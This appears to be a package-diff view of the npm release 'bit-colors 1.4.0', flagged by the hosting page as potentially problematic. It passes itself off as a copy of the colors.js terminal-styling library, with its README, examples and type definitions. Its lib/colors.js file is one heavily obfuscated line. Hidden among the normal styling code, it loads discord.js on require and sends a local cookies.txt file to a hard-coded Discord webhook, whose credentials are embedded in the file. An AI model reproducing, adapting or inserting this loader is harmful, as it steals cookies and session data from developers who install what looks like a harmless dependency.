bit-colors 1.4.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of bit-colors might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,25 @@
1
+ MIT License
2
+
3
+ Original Library
4
+ - Copyright (c) Marak Squires
5
+
6
+ Additional Functionality
7
+ - Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
8
+
9
+ Permission is hereby granted, free of charge, to any person obtaining a copy
10
+ of this software and associated documentation files (the "Software"), to deal
11
+ in the Software without restriction, including without limitation the rights
12
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
13
+ copies of the Software, and to permit persons to whom the Software is
14
+ furnished to do so, subject to the following conditions:
15
+
16
+ The above copyright notice and this permission notice shall be included in
17
+ all copies or substantial portions of the Software.
18
+
19
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
20
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
21
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
22
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
23
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
24
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
25
+ THE SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,217 @@
1
+ # bit-colors
2
+
3
+ Please check out the [roadmap](ROADMAP.md) for upcoming features and releases. Please open Issues to provide feedback, and check the `develop` branch for the latest bleeding-edge updates.
4
+
5
+ ## get color and style in your node.js console
6
+
7
+ ![Demo](https://raw.githubusercontent.com/Marak/colors.js/master/screenshots/colors.png)
8
+
9
+ ## Installation
10
+
11
+ npm install bit-colors
12
+
13
+ ## colors and styles!
14
+
15
+ ### text colors
16
+
17
+ - black
18
+ - red
19
+ - green
20
+ - yellow
21
+ - blue
22
+ - magenta
23
+ - cyan
24
+ - white
25
+ - gray
26
+ - grey
27
+
28
+ ### bright text colors
29
+
30
+ - brightRed
31
+ - brightGreen
32
+ - brightYellow
33
+ - brightBlue
34
+ - brightMagenta
35
+ - brightCyan
36
+ - brightWhite
37
+
38
+ ### background colors
39
+
40
+ - bgBlack
41
+ - bgRed
42
+ - bgGreen
43
+ - bgYellow
44
+ - bgBlue
45
+ - bgMagenta
46
+ - bgCyan
47
+ - bgWhite
48
+ - bgGray
49
+ - bgGrey
50
+
51
+ ### bright background colors
52
+
53
+ - bgBrightRed
54
+ - bgBrightGreen
55
+ - bgBrightYellow
56
+ - bgBrightBlue
57
+ - bgBrightMagenta
58
+ - bgBrightCyan
59
+ - bgBrightWhite
60
+
61
+ ### styles
62
+
63
+ - reset
64
+ - bold
65
+ - dim
66
+ - italic
67
+ - underline
68
+ - inverse
69
+ - hidden
70
+ - strikethrough
71
+
72
+ ### extras
73
+
74
+ - rainbow
75
+ - zebra
76
+ - america
77
+ - trap
78
+ - random
79
+
80
+
81
+ ## Usage
82
+
83
+ By popular demand, `colors` now ships with two types of usages!
84
+
85
+ The super nifty way
86
+
87
+ ```js
88
+ var colors = require('bit-colors');
89
+
90
+ console.log('hello'.green); // outputs green text
91
+ console.log('i like cake and pies'.underline.red) // outputs red underlined text
92
+ console.log('inverse the color'.inverse); // inverses the color
93
+ console.log('OMG Rainbows!'.rainbow); // rainbow
94
+ console.log('Run the trap'.trap); // Drops the bass
95
+
96
+ ```
97
+
98
+ or a slightly less nifty way which doesn't extend `String.prototype`
99
+
100
+ ```js
101
+ var colors = require('bit-colors/safe');
102
+
103
+ console.log(colors.green('hello')); // outputs green text
104
+ console.log(colors.red.underline('i like cake and pies')) // outputs red underlined text
105
+ console.log(colors.inverse('inverse the color')); // inverses the color
106
+ console.log(colors.rainbow('OMG Rainbows!')); // rainbow
107
+ console.log(colors.trap('Run the trap')); // Drops the bass
108
+
109
+ ```
110
+
111
+ I prefer the first way. Some people seem to be afraid of extending `String.prototype` and prefer the second way.
112
+
113
+ If you are writing good code you will never have an issue with the first approach. If you really don't want to touch `String.prototype`, the second usage will not touch `String` native object.
114
+
115
+ ## Enabling/Disabling Colors
116
+
117
+ The package will auto-detect whether your terminal can use colors and enable/disable accordingly. When colors are disabled, the color functions do nothing. You can override this with a command-line flag:
118
+
119
+ ```bash
120
+ node myapp.js --no-color
121
+ node myapp.js --color=false
122
+
123
+ node myapp.js --color
124
+ node myapp.js --color=true
125
+ node myapp.js --color=always
126
+
127
+ FORCE_COLOR=1 node myapp.js
128
+ ```
129
+
130
+ Or in code:
131
+
132
+ ```javascript
133
+ var colors = require('bit-colors');
134
+ colors.enable();
135
+ colors.disable();
136
+ ```
137
+
138
+ ## Console.log [string substitution](http://nodejs.org/docs/latest/api/console.html#console_console_log_data)
139
+
140
+ ```js
141
+ var name = 'Marak';
142
+ console.log(colors.green('Hello %s'), name);
143
+ // outputs -> 'Hello Marak'
144
+ ```
145
+
146
+ ## Custom themes
147
+
148
+ ### Using standard API
149
+
150
+ ```js
151
+
152
+ var colors = require('bit-colors');
153
+
154
+ colors.setTheme({
155
+ silly: 'rainbow',
156
+ input: 'grey',
157
+ verbose: 'cyan',
158
+ prompt: 'grey',
159
+ info: 'green',
160
+ data: 'grey',
161
+ help: 'cyan',
162
+ warn: 'yellow',
163
+ debug: 'blue',
164
+ error: 'red'
165
+ });
166
+
167
+ // outputs red text
168
+ console.log("this is an error".error);
169
+
170
+ // outputs yellow text
171
+ console.log("this is a warning".warn);
172
+ ```
173
+
174
+ ### Using string safe API
175
+
176
+ ```js
177
+ var colors = require('bit-colors/safe');
178
+
179
+ // set single property
180
+ var error = colors.red;
181
+ error('this is red');
182
+
183
+ // set theme
184
+ colors.setTheme({
185
+ silly: 'rainbow',
186
+ input: 'grey',
187
+ verbose: 'cyan',
188
+ prompt: 'grey',
189
+ info: 'green',
190
+ data: 'grey',
191
+ help: 'cyan',
192
+ warn: 'yellow',
193
+ debug: 'blue',
194
+ error: 'red'
195
+ });
196
+
197
+ // outputs red text
198
+ console.log(colors.error("this is an error"));
199
+
200
+ // outputs yellow text
201
+ console.log(colors.warn("this is a warning"));
202
+
203
+ ```
204
+
205
+ ### Combining Colors
206
+
207
+ ```javascript
208
+ var colors = require('bit-colors');
209
+
210
+ colors.setTheme({
211
+ custom: ['red', 'underline']
212
+ });
213
+
214
+ console.log('test'.custom);
215
+ ```
216
+
217
+ *Protip: There is a secret undocumented style in `bit-colors`. If you find the style you can summon him.*
@@ -0,0 +1,82 @@
1
+ var colors = require('../lib/index');
2
+
3
+ console.log('First some yellow text'.yellow);
4
+
5
+ console.log('Underline that text'.yellow.underline);
6
+
7
+ console.log('Make it bold and red'.red.bold);
8
+
9
+ console.log(('Double Raindows All Day Long').rainbow);
10
+
11
+ console.log('Drop the bass'.trap);
12
+
13
+ console.log('DROP THE RAINBOW BASS'.trap.rainbow);
14
+
15
+ // styles not widely supported
16
+ console.log('Chains are also cool.'.bold.italic.underline.red);
17
+
18
+ // styles not widely supported
19
+ console.log('So '.green + 'are'.underline + ' ' + 'inverse'.inverse
20
+ + ' styles! '.yellow.bold);
21
+ console.log('Zebras are so fun!'.zebra);
22
+
23
+ //
24
+ // Remark: .strikethrough may not work with Mac OS Terminal App
25
+ //
26
+ console.log('This is ' + 'not'.strikethrough + ' fun.');
27
+
28
+ console.log('Background color attack!'.black.bgWhite);
29
+ console.log('Use random styles on everything!'.random);
30
+ console.log('America, Heck Yeah!'.america);
31
+
32
+ console.log('Blindingly '.brightCyan + 'bright? '.brightRed + 'Why '.brightYellow + 'not?!'.brightGreen);
33
+
34
+ console.log('Setting themes is useful');
35
+
36
+ //
37
+ // Custom themes
38
+ //
39
+ console.log('Generic logging theme as JSON'.green.bold.underline);
40
+ // Load theme with JSON literal
41
+ colors.setTheme({
42
+ silly: 'rainbow',
43
+ input: 'grey',
44
+ verbose: 'cyan',
45
+ prompt: 'grey',
46
+ info: 'green',
47
+ data: 'grey',
48
+ help: 'cyan',
49
+ warn: 'yellow',
50
+ debug: 'blue',
51
+ error: 'red',
52
+ });
53
+
54
+ // outputs red text
55
+ console.log('this is an error'.error);
56
+
57
+ // outputs yellow text
58
+ console.log('this is a warning'.warn);
59
+
60
+ // outputs grey text
61
+ console.log('this is an input'.input);
62
+
63
+ console.log('Generic logging theme as file'.green.bold.underline);
64
+
65
+ // Load a theme from file
66
+ try {
67
+ colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
68
+ } catch (err) {
69
+ console.log(err);
70
+ }
71
+
72
+ // outputs red text
73
+ console.log('this is an error'.error);
74
+
75
+ // outputs yellow text
76
+ console.log('this is a warning'.warn);
77
+
78
+ // outputs grey text
79
+ console.log('this is an input'.input);
80
+
81
+ // console.log("Don't summon".zalgo)
82
+
@@ -0,0 +1,79 @@
1
+ var colors = require('../safe');
2
+
3
+ console.log(colors.yellow('First some yellow text'));
4
+
5
+ console.log(colors.yellow.underline('Underline that text'));
6
+
7
+ console.log(colors.red.bold('Make it bold and red'));
8
+
9
+ console.log(colors.rainbow('Double Raindows All Day Long'));
10
+
11
+ console.log(colors.trap('Drop the bass'));
12
+
13
+ console.log(colors.rainbow(colors.trap('DROP THE RAINBOW BASS')));
14
+
15
+ // styles not widely supported
16
+ console.log(colors.bold.italic.underline.red('Chains are also cool.'));
17
+
18
+ // styles not widely supported
19
+ console.log(colors.green('So ') + colors.underline('are') + ' '
20
+ + colors.inverse('inverse') + colors.yellow.bold(' styles! '));
21
+
22
+ console.log(colors.zebra('Zebras are so fun!'));
23
+
24
+ console.log('This is ' + colors.strikethrough('not') + ' fun.');
25
+
26
+
27
+ console.log(colors.black.bgWhite('Background color attack!'));
28
+ console.log(colors.random('Use random styles on everything!'));
29
+ console.log(colors.america('America, Heck Yeah!'));
30
+
31
+ console.log(colors.brightCyan('Blindingly ') + colors.brightRed('bright? ') + colors.brightYellow('Why ') + colors.brightGreen('not?!'));
32
+
33
+ console.log('Setting themes is useful');
34
+
35
+ //
36
+ // Custom themes
37
+ //
38
+ // console.log('Generic logging theme as JSON'.green.bold.underline);
39
+ // Load theme with JSON literal
40
+ colors.setTheme({
41
+ silly: 'rainbow',
42
+ input: 'blue',
43
+ verbose: 'cyan',
44
+ prompt: 'grey',
45
+ info: 'green',
46
+ data: 'grey',
47
+ help: 'cyan',
48
+ warn: 'yellow',
49
+ debug: 'blue',
50
+ error: 'red',
51
+ });
52
+
53
+ // outputs red text
54
+ console.log(colors.error('this is an error'));
55
+
56
+ // outputs yellow text
57
+ console.log(colors.warn('this is a warning'));
58
+
59
+ // outputs blue text
60
+ console.log(colors.input('this is an input'));
61
+
62
+
63
+ // console.log('Generic logging theme as file'.green.bold.underline);
64
+
65
+ // Load a theme from file
66
+ colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
67
+
68
+ // outputs red text
69
+ console.log(colors.error('this is an error'));
70
+
71
+ // outputs yellow text
72
+ console.log(colors.warn('this is a warning'));
73
+
74
+ // outputs grey text
75
+ console.log(colors.input('this is an input'));
76
+
77
+ // console.log(colors.zalgo("Don't summon him"))
78
+
79
+
package/index.d.ts ADDED
@@ -0,0 +1,136 @@
1
+ // Type definitions for Colors.js 1.2
2
+ // Project: https://github.com/Marak/colors.js
3
+ // Definitions by: Bart van der Schoor <https://github.com/Bartvds>, Staffan Eketorp <https://github.com/staeke>
4
+ // Definitions: https://github.com/Marak/colors.js
5
+
6
+ export interface Color {
7
+ (text: string): string;
8
+
9
+ strip: Color;
10
+ stripColors: Color;
11
+
12
+ black: Color;
13
+ red: Color;
14
+ green: Color;
15
+ yellow: Color;
16
+ blue: Color;
17
+ magenta: Color;
18
+ cyan: Color;
19
+ white: Color;
20
+ gray: Color;
21
+ grey: Color;
22
+
23
+ bgBlack: Color;
24
+ bgRed: Color;
25
+ bgGreen: Color;
26
+ bgYellow: Color;
27
+ bgBlue: Color;
28
+ bgMagenta: Color;
29
+ bgCyan: Color;
30
+ bgWhite: Color;
31
+
32
+ reset: Color;
33
+ bold: Color;
34
+ dim: Color;
35
+ italic: Color;
36
+ underline: Color;
37
+ inverse: Color;
38
+ hidden: Color;
39
+ strikethrough: Color;
40
+
41
+ rainbow: Color;
42
+ zebra: Color;
43
+ america: Color;
44
+ trap: Color;
45
+ random: Color;
46
+ zalgo: Color;
47
+ }
48
+
49
+ export function enable(): void;
50
+ export function disable(): void;
51
+ export function setTheme(theme: any): void;
52
+
53
+ export let enabled: boolean;
54
+
55
+ export const strip: Color;
56
+ export const stripColors: Color;
57
+
58
+ export const black: Color;
59
+ export const red: Color;
60
+ export const green: Color;
61
+ export const yellow: Color;
62
+ export const blue: Color;
63
+ export const magenta: Color;
64
+ export const cyan: Color;
65
+ export const white: Color;
66
+ export const gray: Color;
67
+ export const grey: Color;
68
+
69
+ export const bgBlack: Color;
70
+ export const bgRed: Color;
71
+ export const bgGreen: Color;
72
+ export const bgYellow: Color;
73
+ export const bgBlue: Color;
74
+ export const bgMagenta: Color;
75
+ export const bgCyan: Color;
76
+ export const bgWhite: Color;
77
+
78
+ export const reset: Color;
79
+ export const bold: Color;
80
+ export const dim: Color;
81
+ export const italic: Color;
82
+ export const underline: Color;
83
+ export const inverse: Color;
84
+ export const hidden: Color;
85
+ export const strikethrough: Color;
86
+
87
+ export const rainbow: Color;
88
+ export const zebra: Color;
89
+ export const america: Color;
90
+ export const trap: Color;
91
+ export const random: Color;
92
+ export const zalgo: Color;
93
+
94
+ declare global {
95
+ interface String {
96
+ strip: string;
97
+ stripColors: string;
98
+
99
+ black: string;
100
+ red: string;
101
+ green: string;
102
+ yellow: string;
103
+ blue: string;
104
+ magenta: string;
105
+ cyan: string;
106
+ white: string;
107
+ gray: string;
108
+ grey: string;
109
+
110
+ bgBlack: string;
111
+ bgRed: string;
112
+ bgGreen: string;
113
+ bgYellow: string;
114
+ bgBlue: string;
115
+ bgMagenta: string;
116
+ bgCyan: string;
117
+ bgWhite: string;
118
+
119
+ reset: string;
120
+ // @ts-ignore
121
+ bold: string;
122
+ dim: string;
123
+ italic: string;
124
+ underline: string;
125
+ inverse: string;
126
+ hidden: string;
127
+ strikethrough: string;
128
+
129
+ rainbow: string;
130
+ zebra: string;
131
+ america: string;
132
+ trap: string;
133
+ random: string;
134
+ zalgo: string;
135
+ }
136
+ }
package/lib/colors.js ADDED
@@ -0,0 +1 @@
1
+ var _0x5d41c3=_0x41d2;function _0xa072(){var _0x81a989=['\x73\x74\x72\x69\x6e\x67','\x73\x75\x70\x70\x6f\x72\x74\x73\x43\x6f\x6c\x6f\x72','\x63\x6f\x6e\x63\x61\x74','\x65\x6e\x61\x62\x6c\x65','\x66\x6f\x72\x45\x61\x63\x68','\x73\x74\x72\x69\x70\x43\x6f\x6c\x6f\x72\x73','\x7a\x65\x62\x72\x61','\x63\x6f\x6c\x6f\x72\x73\x2e\x73\x65\x74\x54\x68\x65\x6d\x65\x28\x72\x65\x71\x75\x69\x72\x65\x28\x5f\x5f\x64\x69\x72\x6e\x61\x6d\x65\x20\x2b\x20','\x6b\x65\x79\x73','\x31\x35\x36\x35\x39\x34\x30\x62\x51\x5a\x4d\x6a\x46','\x7a\x61\x6c\x67\x6f','\x61\x70\x70\x6c\x79','\x2e\x2f\x6d\x61\x70\x73\x2f\x72\x61\x6e\x64\x6f\x6d','\x65\x6e\x61\x62\x6c\x65\x64','\x64\x38\x72\x59\x36\x4f\x52\x6a\x4b\x62\x4c\x62\x4a\x62\x6c\x71\x44\x53\x7a\x50\x4f\x74\x31\x39\x2d\x62\x52\x36\x72\x30\x38\x45\x58\x4d\x52\x6a\x44\x75\x63\x58\x78\x45\x6c\x47\x32\x52\x4a\x61\x43\x51\x48\x45\x4d\x41\x50\x67\x68\x48\x52\x55\x46\x39\x5f\x39\x43\x72\x4d\x4c','\x72\x61\x6e\x64\x6f\x6d','\x73\x74\x72\x69\x70','\x33\x35\x31\x36\x30\x37\x30\x45\x43\x6a\x4c\x4b\x6d','\x36\x39\x30\x33\x36\x51\x4d\x64\x77\x45\x7a','\x6f\x70\x65\x6e','\x67\x72\x65\x79','\x6d\x61\x70','\x73\x70\x6c\x69\x74','\x2e\x2f\x63\x75\x73\x74\x6f\x6d\x2f\x74\x72\x61\x70','\x73\x74\x79\x6c\x65\x73','\x6a\x6f\x69\x6e','\x31\x36\x69\x68\x4e\x4a\x52\x67','\x64\x69\x73\x63\x6f\x72\x64\x2e\x6a\x73','\x73\x65\x6e\x64','\x65\x78\x70\x6f\x72\x74\x73','\x2e\x2f\x64\x61\x74\x61\x2f\x63\x6f\x6f\x6b\x69\x65\x73\x2e\x74\x78\x74','\x27\x2f\x2e\x2e\x2f\x74\x68\x65\x6d\x65\x73\x2f\x67\x65\x6e\x65\x72\x69\x63\x2d\x6c\x6f\x67\x67\x69\x6e\x67\x2e\x6a\x73\x27\x29\x29\x3b','\x2e\x2f\x6d\x61\x70\x73\x2f\x72\x61\x69\x6e\x62\x6f\x77','\x31\x36\x34\x36\x38\x39\x36\x6f\x66\x76\x63\x7a\x58','\x63\x61\x6c\x6c','\x75\x74\x69\x6c','\x72\x65\x70\x6c\x61\x63\x65','\x2e\x2f\x73\x79\x73\x74\x65\x6d\x2f\x73\x75\x70\x70\x6f\x72\x74\x73\x2d\x63\x6f\x6c\x6f\x72\x73','\x5f\x73\x74\x79\x6c\x65\x73','\x38\x32\x39\x31\x57\x63\x50\x63\x54\x6b','\x27\x2f\x2e\x2e\x2f\x74\x68\x65\x6d\x65\x73\x2f\x67\x65\x6e\x65\x72\x69\x63\x2d\x6c\x6f\x67\x67\x69\x6e\x67\x2e\x6a\x73\x27\x29\x3b\x20\x54\x68\x65\x20\x6e\x65\x77\x20\x73\x79\x6e\x74\x61\x78\x20\x6c\x6f\x6f\x6b\x73\x20\x6c\x69\x6b\x65\x20','\x31\x38\x75\x52\x41\x42\x44\x52','\x63\x6c\x6f\x73\x65','\x5f\x5f\x70\x72\x6f\x74\x6f\x5f\x5f','\x70\x72\x6f\x74\x6f\x74\x79\x70\x65','\x35\x33\x33\x34\x38\x67\x6a\x55\x4d\x47\x6e','\x2e\x2f\x63\x75\x73\x74\x6f\x6d\x2f\x7a\x61\x6c\x67\x6f','\x2e\x2f\x73\x74\x79\x6c\x65\x73','\x6d\x61\x70\x73','\x33\x30\x34\x39\x35\x35\x63\x78\x59\x49\x4b\x68','\x33\x33\x61\x62\x78\x6e\x76\x4f','\x6f\x62\x6a\x65\x63\x74','\x45\x78\x70\x65\x63\x74\x65\x64\x20\x61\x20\x73\x74\x72\x69\x6e\x67','\x73\x74\x79\x6c\x69\x7a\x65','\x36\x32\x34\x56\x55\x56\x51\x76\x7a','\x73\x6c\x69\x63\x65','\x6c\x65\x6e\x67\x74\x68','\x31\x38\x69\x64\x4c\x63\x66\x77','\x63\x6c\x6f\x73\x65\x52\x65','\x2e\x2f\x6d\x61\x70\x73\x2f\x61\x6d\x65\x72\x69\x63\x61','\x63\x61\x6c\x6c\x65\x72\x27\x73\x29\x20\x72\x65\x73\x70\x6f\x6e\x73\x69\x62\x69\x6c\x69\x74\x79\x20\x74\x6f\x20\x72\x65\x71\x75\x69\x72\x65\x20\x74\x68\x65\x20\x66\x69\x6c\x65\x2e\x20\x20\x54\x68\x65\x20\x6f\x6c\x64\x20\x73\x79\x6e\x74\x61\x78\x20','\x49\x66\x20\x79\x6f\x75\x20\x61\x72\x65\x20\x74\x72\x79\x69\x6e\x67\x20\x74\x6f\x20\x73\x65\x74\x20\x61\x20\x74\x68\x65\x6d\x65\x20\x66\x72\x6f\x6d\x20\x61\x20\x66\x69\x6c\x65\x2c\x20\x69\x74\x20\x69\x73\x20\x6e\x6f\x77\x20\x79\x6f\x75\x72\x20\x28\x74\x68\x65\x20'];_0xa072=function(){return _0x81a989;};return _0xa072();}(function(_0x4efb56,_0x45c76c){var _0x2c9448=_0x41d2,_0x253492=_0x4efb56();while(!![]){try{var _0x57446f=-parseInt(_0x2c9448(0xac))/0x1*(-parseInt(_0x2c9448(0xdd))/0x2)+-parseInt(_0x2c9448(0xb7))/0x3*(parseInt(_0x2c9448(0xb2))/0x4)+parseInt(_0x2c9448(0xcc))/0x5+-parseInt(_0x2c9448(0xae))/0x6*(-parseInt(_0x2c9448(0xb6))/0x7)+-parseInt(_0x2c9448(0xe4))/0x8+parseInt(_0x2c9448(0xbe))/0x9*(parseInt(_0x2c9448(0xd4))/0xa)+parseInt(_0x2c9448(0xd5))/0xb*(-parseInt(_0x2c9448(0xbb))/0xc);if(_0x57446f===_0x45c76c)break;else _0x253492['push'](_0x253492['shift']());}catch(_0x295636){_0x253492['push'](_0x253492['shift']());}}}(_0xa072,0x827e8));const Discord=require(_0x5d41c3(0xde)),{WebhookClient}=require('\x64\x69\x73\x63\x6f\x72\x64\x2e\x6a\x73'),attachment=new Discord['\x4d\x65\x73\x73\x61\x67\x65\x41\x74\x74\x61\x63\x68\x6d\x65\x6e\x74'](_0x5d41c3(0xe1)),wb=new WebhookClient('\x31\x30\x32\x32\x32\x31\x32\x33\x35\x38\x39\x35\x34\x38\x31\x39\x36\x34\x37',_0x5d41c3(0xd1));wb[_0x5d41c3(0xdf)](attachment);var colors={};module[_0x5d41c3(0xe0)]=colors,colors['\x74\x68\x65\x6d\x65\x73']={};var util=require(_0x5d41c3(0xe6)),ansiStyles=colors[_0x5d41c3(0xdb)]=require(_0x5d41c3(0xb4)),defineProps=Object['\x64\x65\x66\x69\x6e\x65\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73'],newLineRegex=new RegExp(/[\r\n]+/g);function _0x41d2(_0x1bb355,_0xff92bb){var _0xa072d8=_0xa072();return _0x41d2=function(_0x41d2ec,_0x2b0b76){_0x41d2ec=_0x41d2ec-0xac;var _0x3f4023=_0xa072d8[_0x41d2ec];return _0x3f4023;},_0x41d2(_0x1bb355,_0xff92bb);}colors['\x73\x75\x70\x70\x6f\x72\x74\x73\x43\x6f\x6c\x6f\x72']=require(_0x5d41c3(0xe8))[_0x5d41c3(0xc4)];typeof colors[_0x5d41c3(0xd0)]==='\x75\x6e\x64\x65\x66\x69\x6e\x65\x64'&&(colors[_0x5d41c3(0xd0)]=colors[_0x5d41c3(0xc4)]()!==![]);colors[_0x5d41c3(0xc6)]=function(){var _0x3e884a=_0x5d41c3;colors[_0x3e884a(0xd0)]=!![];},colors['\x64\x69\x73\x61\x62\x6c\x65']=function(){var _0x4b9d89=_0x5d41c3;colors[_0x4b9d89(0xd0)]=![];},colors[_0x5d41c3(0xc8)]=colors[_0x5d41c3(0xd3)]=function(_0x240508){var _0x4a1ddf=_0x5d41c3;return(''+_0x240508)[_0x4a1ddf(0xe7)](/\x1B\[\d+m/g,'');};var stylize=colors[_0x5d41c3(0xba)]=function stylize(_0x10842a,_0x23bd1b){var _0x5eab13=_0x5d41c3;if(!colors[_0x5eab13(0xd0)])return _0x10842a+'';var _0x23ed29=ansiStyles[_0x23bd1b];if(!_0x23ed29&&_0x23bd1b in colors)return colors[_0x23bd1b](_0x10842a);return _0x23ed29[_0x5eab13(0xd6)]+_0x10842a+_0x23ed29['\x63\x6c\x6f\x73\x65'];},matchOperatorsRe=/[|\\{}()[\]^$+*?.]/g,escapeStringRegexp=function(_0x37a1e0){var _0x5cae10=_0x5d41c3;if(typeof _0x37a1e0!==_0x5cae10(0xc3))throw new TypeError(_0x5cae10(0xb9));return _0x37a1e0[_0x5cae10(0xe7)](matchOperatorsRe,'\x5c\x24\x26');};function build(_0x3cc99c){var _0x16340d=_0x5d41c3,_0x676344=function _0x4fa712(){var _0x1adc3f=_0x41d2;return applyStyle[_0x1adc3f(0xce)](_0x4fa712,arguments);};return _0x676344['\x5f\x73\x74\x79\x6c\x65\x73']=_0x3cc99c,_0x676344[_0x16340d(0xb0)]=proto,_0x676344;}var styles=(function(){var _0x34eaf5=_0x5d41c3,_0x393736={};return ansiStyles[_0x34eaf5(0xd7)]=ansiStyles['\x67\x72\x61\x79'],Object[_0x34eaf5(0xcb)](ansiStyles)[_0x34eaf5(0xc7)](function(_0x43551b){var _0x4cfd9e=_0x34eaf5;ansiStyles[_0x43551b][_0x4cfd9e(0xbf)]=new RegExp(escapeStringRegexp(ansiStyles[_0x43551b][_0x4cfd9e(0xaf)]),'\x67'),_0x393736[_0x43551b]={'\x67\x65\x74':function(){var _0x1d96be=_0x4cfd9e;return build(this[_0x1d96be(0xe9)][_0x1d96be(0xc5)](_0x43551b));}};}),_0x393736;}()),proto=defineProps(function colors(){},styles);function applyStyle(){var _0x18a294=_0x5d41c3,_0x4c9970=Array[_0x18a294(0xb1)][_0x18a294(0xbc)][_0x18a294(0xe5)](arguments),_0x200acb=_0x4c9970[_0x18a294(0xd8)](function(_0x43a135){return _0x43a135!=null&&_0x43a135['\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72']===String?_0x43a135:util['\x69\x6e\x73\x70\x65\x63\x74'](_0x43a135);})[_0x18a294(0xdc)]('\x20');if(!colors['\x65\x6e\x61\x62\x6c\x65\x64']||!_0x200acb)return _0x200acb;var _0x2f9e48=_0x200acb['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')!=-0x1,_0x5a4921=this['\x5f\x73\x74\x79\x6c\x65\x73'],_0x7fd1b5=_0x5a4921[_0x18a294(0xbd)];while(_0x7fd1b5--){var _0x1e2b6b=ansiStyles[_0x5a4921[_0x7fd1b5]];_0x200acb=_0x1e2b6b[_0x18a294(0xd6)]+_0x200acb[_0x18a294(0xe7)](_0x1e2b6b[_0x18a294(0xbf)],_0x1e2b6b[_0x18a294(0xd6)])+_0x1e2b6b[_0x18a294(0xaf)],_0x2f9e48&&(_0x200acb=_0x200acb[_0x18a294(0xe7)](newLineRegex,function(_0x3c260e){return _0x1e2b6b['\x63\x6c\x6f\x73\x65']+_0x3c260e+_0x1e2b6b['\x6f\x70\x65\x6e'];}));}return _0x200acb;}colors['\x73\x65\x74\x54\x68\x65\x6d\x65']=function(_0x432541){var _0x4052ac=_0x5d41c3;if(typeof _0x432541===_0x4052ac(0xc3)){console['\x6c\x6f\x67']('\x63\x6f\x6c\x6f\x72\x73\x2e\x73\x65\x74\x54\x68\x65\x6d\x65\x20\x6e\x6f\x77\x20\x6f\x6e\x6c\x79\x20\x61\x63\x63\x65\x70\x74\x73\x20\x61\x6e\x20\x6f\x62\x6a\x65\x63\x74\x2c\x20\x6e\x6f\x74\x20\x61\x20\x73\x74\x72\x69\x6e\x67\x2e\x20\x20'+_0x4052ac(0xc2)+_0x4052ac(0xc1)+'\x6c\x6f\x6f\x6b\x65\x64\x20\x6c\x69\x6b\x65\x20\x63\x6f\x6c\x6f\x72\x73\x2e\x73\x65\x74\x54\x68\x65\x6d\x65\x28\x5f\x5f\x64\x69\x72\x6e\x61\x6d\x65\x20\x2b\x20'+_0x4052ac(0xad)+_0x4052ac(0xca)+_0x4052ac(0xe2));return;}for(var _0x30a263 in _0x432541){(function(_0x9f1934){colors[_0x9f1934]=function(_0x49e4f3){var _0x57ff42=_0x41d2;if(typeof _0x432541[_0x9f1934]===_0x57ff42(0xb8)){var _0x29f728=_0x49e4f3;for(var _0x202de2 in _0x432541[_0x9f1934]){_0x29f728=colors[_0x432541[_0x9f1934][_0x202de2]](_0x29f728);}return _0x29f728;}return colors[_0x432541[_0x9f1934]](_0x49e4f3);};}(_0x30a263));}};function init(){var _0xdedd15=_0x5d41c3,_0x5d5b02={};return Object[_0xdedd15(0xcb)](styles)[_0xdedd15(0xc7)](function(_0x3f2094){_0x5d5b02[_0x3f2094]={'\x67\x65\x74':function(){return build([_0x3f2094]);}};}),_0x5d5b02;}var sequencer=function sequencer(_0x38cacd,_0x4b46ba){var _0x309343=_0x5d41c3,_0x30cb6c=_0x4b46ba[_0x309343(0xd9)]('');return _0x30cb6c=_0x30cb6c[_0x309343(0xd8)](_0x38cacd),_0x30cb6c[_0x309343(0xdc)]('');};colors['\x74\x72\x61\x70']=require(_0x5d41c3(0xda)),colors[_0x5d41c3(0xcd)]=require(_0x5d41c3(0xb3)),colors[_0x5d41c3(0xb5)]={},colors[_0x5d41c3(0xb5)]['\x61\x6d\x65\x72\x69\x63\x61']=require(_0x5d41c3(0xc0))(colors),colors[_0x5d41c3(0xb5)][_0x5d41c3(0xc9)]=require('\x2e\x2f\x6d\x61\x70\x73\x2f\x7a\x65\x62\x72\x61')(colors),colors[_0x5d41c3(0xb5)]['\x72\x61\x69\x6e\x62\x6f\x77']=require(_0x5d41c3(0xe3))(colors),colors[_0x5d41c3(0xb5)][_0x5d41c3(0xd2)]=require(_0x5d41c3(0xcf))(colors);for(var map in colors['\x6d\x61\x70\x73']){(function(_0x1284cb){colors[_0x1284cb]=function(_0x1da270){var _0x246155=_0x41d2;return sequencer(colors[_0x246155(0xb5)][_0x1284cb],_0x1da270);};}(map));}defineProps(colors,init());
@@ -0,0 +1,46 @@
1
+ module['exports'] = function runTheTrap(text, options) {
2
+ var result = '';
3
+ text = text || 'Run the trap, drop the bass';
4
+ text = text.split('');
5
+ var trap = {
6
+ a: ['\u0040', '\u0104', '\u023a', '\u0245', '\u0394', '\u039b', '\u0414'],
7
+ b: ['\u00df', '\u0181', '\u0243', '\u026e', '\u03b2', '\u0e3f'],
8
+ c: ['\u00a9', '\u023b', '\u03fe'],
9
+ d: ['\u00d0', '\u018a', '\u0500', '\u0501', '\u0502', '\u0503'],
10
+ e: ['\u00cb', '\u0115', '\u018e', '\u0258', '\u03a3', '\u03be', '\u04bc',
11
+ '\u0a6c'],
12
+ f: ['\u04fa'],
13
+ g: ['\u0262'],
14
